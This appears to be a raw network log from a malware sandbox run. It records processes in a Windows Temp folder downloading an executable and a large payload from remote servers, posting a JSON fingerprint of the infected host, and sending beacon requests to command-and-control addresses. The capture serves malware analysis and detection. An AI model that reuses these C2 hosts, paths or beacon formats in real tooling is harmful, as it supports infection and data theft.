Dec 18, 2024 15:56:21.886131048 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49782	185.215.113.16	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:22.009898901 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 15:56:23.427653074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:22 GMT Content-Type: application/octet-stream Content-Length: 1846784 Last-Modified: Wed, 18 Dec 2024 14:25:18 GMT Connection: keep-alive ETag: "6762db4e-1c2e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 15 79 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gH@Hy@T0h 1 H@.rsrc X@.idata 0\@ )@^@ysbjspdj/`@irdueqtpH@.taggant0H"@
Dec 18, 2024 15:56:23.429325104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:23.537945986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:23.547993898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:23.548002005 CET	1236	IN	Data Raw: 6c e4 33 a9 98 05 b6 1c b3 5b d4 fc 92 3b e6 c5 e5 cb 6f c1 00 64 8d 49 c0 88 59 99 20 ca 98 23 54 14 e9 54 9e 50 b0 3b 11 84 99 c1 a8 fc d2 4a 9a 4b b1 bb 08 1d 98 5d e9 9b d7 38 c2 33 d2 25 af 56 63 2b 15 c2 45 0b d6 d1 10 00 2e e9 4a 40 d3 e0 Data Ascii: l3[;odIY #TTP;JK]83%Vc+E.J@V@19j!( H"X}0v?=02czc_/yFDT_\.(}9Z'/HuyjzBC2FS?M{.[v.Q9PAIl]sZ
Dec 18, 2024 15:56:23.548013926 CET	1236	IN	Data Raw: 90 9a f7 3c d2 2a 93 a7 00 49 9b bd fe 72 2e 63 35 2c b7 5c 4c e8 76 11 16 2a 57 c0 5c 00 96 47 68 4e cf 57 d6 58 24 d0 8c ac d7 fc 21 c3 b0 fa 25 2c d6 0b 2a 68 ac e7 66 9c eb a3 7b f2 3d 3a c2 84 f8 0e 77 5e e9 de c1 f8 8f 38 e8 54 d6 44 30 bc Data Ascii: <Ir.c5,\LvW\GhNWX$!%,*hf{=:w^8TD0GGT~V0;RY0ixCLT&H)Zo+GEZj`r~8h$)mcY9\|#]L-H=<KC+Vn?OJPJ+<k&@-P$wk
Dec 18, 2024 15:56:23.549894094 CET	1236	IN	Data Raw: 52 aa 1e 71 12 b0 88 a8 d3 f5 6a c1 38 84 de 60 c1 8c 5f c3 91 6b 5f 9e 68 61 be 06 11 45 55 63 d7 df 1e 7c 32 c9 04 35 bf 75 6a 42 9b 08 79 32 2e b1 d0 6e 41 fb 08 48 1a 5d 1c 59 18 6c f1 b1 79 ac 0c 4b d2 0c 5c c3 3c fa 55 79 39 69 1a 83 14 57 Data Ascii: Rqj8`_k_haEUc\|25ujBy2.nAH]YlyK\<Uy9iWa?#9hoX"B2E=b<S@w=v"0I^YQjbGPs{5EXb7*b'$hzVa-RcojJ{TS^cJzQ^)s`RT
Dec 18, 2024 15:56:23.657737970 CET	1000	IN	Data Raw: 20 2e 78 3e 2a d3 67 66 95 43 4c 7f fa 4d 04 8a 09 96 8b 1b e9 c5 94 3d 5f 8b e3 4d a6 d8 7f aa ed 2f 7b b6 d6 04 c0 1c fe 40 6e d8 e0 6b 6d fd ef e0 b6 70 74 62 11 5c 73 42 d3 55 ca f4 74 61 e1 ec 8b 7b 28 f7 a6 c5 ab b6 4a 68 26 3c d6 ea d3 5e Data Ascii: .x>gfCLM=_M/{@nkmptb\sBUta{(Jh&<^$z #b_=_&kMQBCJj)],G4~l\|1h5\^B\!IX<B$b/KKKaHQ@/7H*`YCfW{-u,wz.c-HNA9>/d<-&XJ,f;9zS
Dec 18, 2024 15:56:23.657749891 CET	1236	IN	Data Raw: 0d 8b 56 d2 d1 5a 98 f7 3b dd 15 99 25 ac f5 ea 6d df 77 1e 39 dc 30 dc 21 84 0f 30 2b 58 91 31 c2 5e 0a 43 d1 e5 46 2c 3e f6 b3 39 0d 64 d9 ee c0 3e 40 49 86 30 42 f5 24 4b d7 6c 95 d8 95 c4 85 62 69 fc 07 53 5b 7d a9 b5 ae 80 95 ff 73 6f 78 c3 Data Ascii: VZ;%mw90!0+X1^CF,>9d>@I0B$KlbiS[}sox+ich`i?',xP&3uCQ~;+whHF" <HXw?5[m*N/KQba$p"aMBK<O1C!nj81{^"
Dec 18, 2024 15:56:23.657763004 CET	1236	IN	Data Raw: 41 19 46 8c 76 2d 72 8b e1 48 ee 5f 96 44 09 29 39 2c 6b 3a d2 63 6f eb dc 0c 2d 48 34 0a 5f 1c 28 2a 2d 20 ae 0a 93 79 c6 09 c1 27 cd 36 6f b2 a3 95 1b 43 46 1e 6b 26 79 40 77 70 2b b0 5f 72 2d d1 fd 78 80 93 16 89 0e 69 e8 23 cd 63 d8 ca c6 ec Data Ascii: AFv-rH_D)9,k:co-H4_(- y'6oCFk&y@wp+_r-xi#cA"uU+5\;gVu}s@4CX~w;53D#-(IVUix:J,o{Y3bhu^9jb5wA&~@;&2(V/G2/@wv@$Lb
Dec 18, 2024 15:56:23.659068108 CET	1236	IN	Data Raw: ab 8f 99 f8 5d 28 d5 a4 d3 f8 f2 41 02 61 f1 16 4e 6a 30 7c 4f 3f 29 3e e0 9a 71 07 61 77 15 81 57 06 d5 d0 8c 22 22 8f a0 4b 07 c1 39 e2 76 e0 9c 28 b9 0f 42 ac 51 32 5b 47 6d e4 a9 e8 fc f2 f4 5c 40 5e 47 53 5b 36 d3 d3 8a fe 5b cc 07 11 69 2d Data Ascii: ](AaNj0\|O?)>qawW""K9v(BQ2[Gm\@^GS[6[i-^gKDov`"+[/j$YFj=C'i`U3>R\]9'Yd-KFwR&M{ly{`rz7Z#NW@'jI DV=rqk1+c87'j]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49792	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:26.410569906 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 557910 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 33 33 37 38 32 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734533782", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 360 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 772 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 18, 2024 15:56:26.534357071 CET	2472	OUT	Data Raw: 4b 31 65 4c 2b 7a 43 6e 67 63 7a 77 75 56 35 68 69 36 6b 74 56 47 47 42 77 6d 4b 6c 64 57 61 54 6c 48 6d 2b 4f 36 4b 37 6e 78 6c 38 4d 5c 2f 69 42 38 50 6e 69 48 6a 50 77 6a 72 6d 67 57 39 7a 4b 59 62 48 55 37 79 79 6b 66 52 4e 55 63 4a 35 68 4f Data Ascii: K1eL+zCngczwuV5hi6ktVGGBwmKldWaTlHm+O6K7nxl8M\/iB8PniHjPwjrmgW9zKYbHU7yykfRNUcJ5hOja\/befousxhMt52lX95DhX\/eZRscNX6jhMZhMfQp4rA4rD4zDVVelicJWp4ihUW16dajKdOavpeMmfk2NwOOy3E1MHmODxWAxlFpVsLjcPWwuJpNq6VShXhTqwbTulKKdtRr\/AHT+H8xUNWtrMM8\/U\/8A1zU
Dec 18, 2024 15:56:26.534487009 CET	2472	OUT	Data Raw: 69 6f 61 5c 2f 70 58 5c 2f 5a 43 5c 2f 77 43 43 57 76 37 4b 33 78 7a 5c 2f 41 47 5a 5c 2f 68 44 38 57 66 47 6c 74 38 51 34 66 46 58 6a 54 77 78 4a 71 4f 74 72 6f 58 6a 46 4c 44 53 32 76 4c 58 56 74 53 30 6f 7a 57 74 6e 64 61 52 71 45 6c 76 38 41 Data Ascii: ioa\/pX\/ZC\/wCCWv7K3xz\/AGZ\/hD8WfGlt8Q4fFXjTwxJqOtroXjFLDS2vLXVtS0ozWtndaRqElv8AaI9Pjnnj+0vELmWbyI4IDFbxfQ8n\/BFv9i8gnHxdB9vHtj9O\/hc1\/H2Y\/TY8K8szDH5bX4f8QZ18vx2KwFadHKuHJUZVsJXnh6kqUp8V05ypynTbhKdOEnFpyhF3iv7pyr6AnjFm+V5bm2G4l8NIYbNMBg8ww
Dec 18, 2024 15:56:26.534516096 CET	2472	OUT	Data Raw: 36 72 38 75 43 65 6e 37 7a 74 5c 2f 6e 5c 2f 49 36 30 7a 7a 50 4d 33 6a 5a 35 62 38 5c 2f 75 5c 2f 38 41 6c 68 2b 66 2b 66 72 36 32 5a 4e 36 62 4e 6a 33 48 5c 2f 4c 78 46 46 39 70 71 4a 30 66 63 37 5c 2f 76 45 5c 2f 64 48 7a 66 79 7a 33 50 38 41 Data Ascii: 6r8uCen7zt\/n\/I60zzPM3jZ5b8\/u\/8Alh+f+fr62ZN6bNj3H\/LxFF9pqJ0fc7\/vE\/dHzfyz3P8Akdq6DQqyR7d67DD\/ANM\/9f53v\/8Ar\/wpm18BkeNIfN\/1XE8\/+T+f8qf02fP5cseP3f8Az2\/H9Ov6cUN5gjR3+55X\/LOL\/U\/56Cg6CtJsk37DsTy\/Niz+\/wD857+9TfekZHeNPMPEf+v7c\/5PIoiO
Dec 18, 2024 15:56:26.534555912 CET	2472	OUT	Data Raw: 52 78 47 47 6d 36 4e 61 6a 4a 38 72 77 31 6f 54 6a 4a 61 59 62 6e 35 6b 32 71 6a 56 6b 66 73 32 58 63 4f 63 49 35 76 54 77 32 64 34 4b 68 4c 46 34 48 4d 4d 50 51 78 6d 44 6a 48 47 59 6a 36 68 57 77 32 4a 70 52 72 30 4b 30 49 38 30 63 5a 7a 54 68 Data Ascii: RxGGm6NajJ8rw1oTjJaYbn5k2qjVkfs2XcOcI5vTw2d4KhLF4HMMPQxmDjHGYj6hWw2JpRr0K0I80cZzThOLXNjHT5XZ0ea8jv9f+LkXhDwt4sbwZ4fg0a1l8P6uNQvPEF\/L4r1G\/tBZTvLZ3llNb6d4Nubd1GyBZfB8t9bsxaG\/MxWQfjhX6B\/GK\/On\/AA68ROjBZbqK0sIwTjf9svraGdR3J+ytO2B1CnoMkfAyruz2
Dec 18, 2024 15:56:26.534570932 CET	2472	OUT	Data Raw: 30 62 34 5a 4c 39 50 2b 4c 5a 2b 45 32 5c 2f 38 41 5a 71 5c 2f 59 76 6f 74 59 57 6e 67 66 47 7a 68 7a 32 57 56 78 79 50 45 59 33 67 6a 69 6a 2b 31 4d 74 70 54 7a 4a 52 70 34 7a 42 35 33 6d 75 58 56 4b 64 57 6c 6d 65 4d 78 6d 4c 70 54 67 73 73 77 Data Ascii: 0b4ZL9P+LZ+E2\/8AZq\/YvotYWngfGzhz2WVxyPEY3gjij+1MtpTzJRp4zB53muXVKdWlmeMxmLpTgsswyrUKtZxp4ik5KnTlov51+mlip476PfE\/tczee0MFx\/wg8qzKrDLZSng8ZkuVZhTqUquWYPB4SpGbzTFOliKVFSnh66g6lSGr\/OKiiiv9Tz\/F4hf7x\/D+QptSeX7\/AKf\/AF6joOgj\/ZW\/b4X9mP4+eBvj
Dec 18, 2024 15:56:26.534714937 CET	2472	OUT	Data Raw: 68 34 57 31 4e 50 73 4f 73 33 4e 70 4d 79 4b 2b 6a 34 52 4f 66 32 7a 66 6a 6e 5c 2f 32 62 58 2b 79 53 42 5c 2f 34 64 58 39 74 4b 76 68 38 56 6c 55 34 35 5a 6e 73 38 7a 34 4b 6f 38 50 56 73 4a 67 61 74 58 41 34 78 51 34 6c 6f 56 48 6a 73 74 34 6e Data Ascii: h4W1NPsOs3NpMyK+j4ROf2zfjn\/2bX+ySB\/4dX9tKvh8VlU45Zns8z4Ko8PVsJgatXA4xQ4loVHjst4nyPJMzwyWbZvjMLWlhHjcRhcbRVCVTDYlqMpUqkLP77CZrTnmmQwyzjWrxFRxeOo0swwbnwzXpxwOY8M5znWV4mTyrJ8Hi6KxccDh8VgqrrxpYrD80oxq053P4ffE6Rx+JfEMcMccUSa5qyRRRIscUUa39wqRxRoFS
Dec 18, 2024 15:56:26.534749985 CET	2472	OUT	Data Raw: 76 66 4c 5c 2f 7a 5c 2f 77 44 57 2b 6e 72 79 2b 7a 38 5c 2f 77 5c 2f 34 4a 30 43 76 4a 74 6b 6d 52 5c 2f 6b 66 79 68 35 76 6d 66 35 5c 2f 5c 2f 41 46 38 66 53 6f 59 39 36 32 2b 78 5c 2f 77 44 6c 6d 62 6a 7a 65 44 6e 36 39 5c 2f 38 41 50 35 56 63 Data Ascii: vfL\/z\/wDW+nry+z8\/w\/4J0CvJtkmR\/kfyh5vmf5\/\/AF8fSoY962+x\/wDlmbjzeDn69\/8AP5Vc3ZV0\/wBT\/wAtf3ef\/wBX+ePSqcn7uR0cXED\/AOkRS+Xz6f8A1q0NKfX5fqHlu0j\/AC7\/AC8y59f1xVb55P3bp5b\/APLLy\/5fp1xVxv8AV79m6Hzf3R8r3H+e\/wDhD5fmbJvueZ\/q4\/8AUf6P9c847U
Dec 18, 2024 15:56:26.534794092 CET	4944	OUT	Data Raw: 52 62 75 35 6e 59 5a 67 75 62 35 31 56 70 55 75 46 57 33 32 71 5c 2f 54 48 78 4c 6f 2b 6c 4a 34 62 31 75 4f 4c 54 37 53 33 56 72 4b 39 6c 50 32 61 43 4f 32 4a 6c 6b 52 6d 6b 6b 4a 67 57 4d 73 38 6a 45 73 37 4e 6b 75 78 4a 62 4a 4e 66 6e 35 50 6f Data Ascii: Rbu5nYZgub51VpUuFW32q\/THxLo+lJ4b1uOLT7S3VrK9lP2aCO2JlkRmkkJgWMs8jEs7NkuxJbJNfn5PoKYLW85TGTtmGV\/7+KAVA90Y46n1\/k7PfE7IOK87xmaUMnXC9DEzp+zy+k\/rOGo8lCjRlN4ilCEp1sROnLE4qrLDUYzr1qlRq8pM\/t3JfCLijhLIMBldfOafFmJwlKcauY8n1HEV+atUqxjHCVqlSFKhh4Tjh8
Dec 18, 2024 15:56:26.534871101 CET	2472	OUT	Data Raw: 33 2b 66 79 72 63 31 67 37 74 58 31 55 2b 75 70 58 78 5c 2f 4f 35 6c 4e 5a 45 6a 59 5c 2f 44 6b 5c 2f 58 74 5c 2f 6e 33 72 5c 2f 51 72 67 2b 62 58 43 58 43 36 30 5c 2f 35 4a 33 4a 50 5c 2f 56 5a 68 6a 5c 2f 4b 54 6a 62 5c 2f 6b 73 2b 4c 76 2b 79 Data Ascii: 3+fyrc1g7tX1U+upXx\/O5lNZEjY\/Dk\/Xt\/n3r\/Qrg+bXCXC60\/5J3JP\/VZhj\/KTjb\/ks+Lv+ynz\/wD9WuLGVCy7fcVNRX0nOvP+vmfMFeipWj9OPY\/5\/wAaio515\/18zoK9FSeX7\/p\/9eo6s0p9fl+pGf8AWr\/umo6k\/wCWn+f7tR0GgVHJ2\/H+lSUUAV6Ke\/X8P6mmUHQRydvx\/pVb7zd8f0H+f1q7
Dec 18, 2024 15:56:26.654521942 CET	2472	OUT	Data Raw: 2f 7a 79 66 38 38 70 66 4d 36 59 5c 2f 7a 5c 2f 6e 76 54 5c 2f 75 5c 2f 4a 2b 37 38 76 5c 2f 56 48 45 76 74 5c 2f 6e 32 77 61 46 6b 4d 65 39 74 67 64 5c 2f 39 56 5c 2f 2b 76 5c 2f 50 76 54 47 6b 54 35 33 64 4c 66 66 32 38 7a 6d 43 71 41 5a 35 6a Data Ascii: /zyf88pfM6Y\/z\/nvT\/u\/J+78v\/VHEvt\/n2waFkMe9tgd\/9V\/+v\/PvTGkT53dLff28zmCqAZ5jyHfst\/3f5zf57j39qfJvk3v\/AKnyovN\/4+vP871uvf8A\/VUMi7pNm\/enMsX7o\/zp\/mfcH3+fK94bfH\/Hr\/14\/wA+Otc50BH\/AKzztm95P+Xfyv3HFr\/n6Ufudqbzzcf8s+fI\/n\/nvxULSFY0fZ\
Dec 18, 2024 15:56:29.293715954 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 14:56:29 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 35 75 4c 76 54 4a 66 47 4f 39 7a 46 56 39 31 55 31 37 33 34 35 33 33 37 38 38 Data Ascii: 5uLvTJfGO9zFV91U1734533788

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49799	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:28.918802023 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016936001&unit=246122658369
Dec 18, 2024 15:56:30.683079958 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49801	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:29.650068045 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=5uLvTJfGO9zFV91U1734533788 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 18, 2024 15:56:31.157609940 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 14:56:30 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" last-modified: Mon, 16 Dec 2024 16:25:22 GMT cache-control: no-cache etag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
Dec 18, 2024 15:56:31.157653093 CET	1236	IN	Data Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8 Data Ascii: .k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSLZUs'Tw
Dec 18, 2024 15:56:31.157668114 CET	448	IN	Data Raw: 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f 93 58 48 46 88 7a e2 3d 5a c7 1d f9 00 f1 4e be cf fb db Data Ascii: MuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/Vaw!_)?-j%
Dec 18, 2024 15:56:31.157680035 CET	1236	IN	Data Raw: 6e 0b dd b7 b5 13 d0 94 63 72 9e 8e c4 95 53 03 9f 63 e7 3b c2 11 b8 63 2a 8b ae a5 b2 0d 25 3c 77 3a 8e 35 df de 4b c5 ac a6 11 2a 41 12 20 8c ff 5d 95 54 e3 7a 47 1a f8 50 b5 86 28 4b ca c8 0b f3 e0 85 28 40 5c 04 7f ce 9e f6 6c 84 2f 8f 6d e8 Data Ascii: ncrSc;c%<w:5KA ]TzGP(K(@\l/mwDE{}.L%G":Uj)NR8O~a`0}N0i%HTefQZ$T"S!'lKN)4"\iSFy2!e
Dec 18, 2024 15:56:31.157777071 CET	224	IN	Data Raw: bc 6b 27 76 14 08 22 79 28 c5 94 60 64 f5 8f 17 7f 46 e1 df b6 0c d8 cb 5f 07 87 c2 a9 f7 64 86 7b 63 a5 42 7f 83 65 b8 33 2a a4 38 cb c1 fd 38 5f ef 23 81 0b a3 6c 65 45 f7 0e 80 2b dd 45 32 76 38 f9 1d b5 04 fd 47 24 1e eb e1 5e 1d 17 09 73 fc Data Ascii: k'v"y(`dF_d{cBe388_#leE+E2v8G$^ss}o_Ey (^D627MT=aF,7yc^/RQ1UGV<k4::l2%$-"$#*[
Dec 18, 2024 15:56:31.157788992 CET	1236	IN	Data Raw: c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 5a ef 50 dc 81 93 04 3e b1 66 b2 6b 98 8a 45 dc 23 4b 32 Data Ascii: :Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>'^e$!62
Dec 18, 2024 15:56:31.157800913 CET	1236	IN	Data Raw: 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d dd d6 e6 3e f7 1d d0 9a d5 c8 bf 32 87 d4 05 67 5f 9d a9 Data Ascii: UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\PVa#
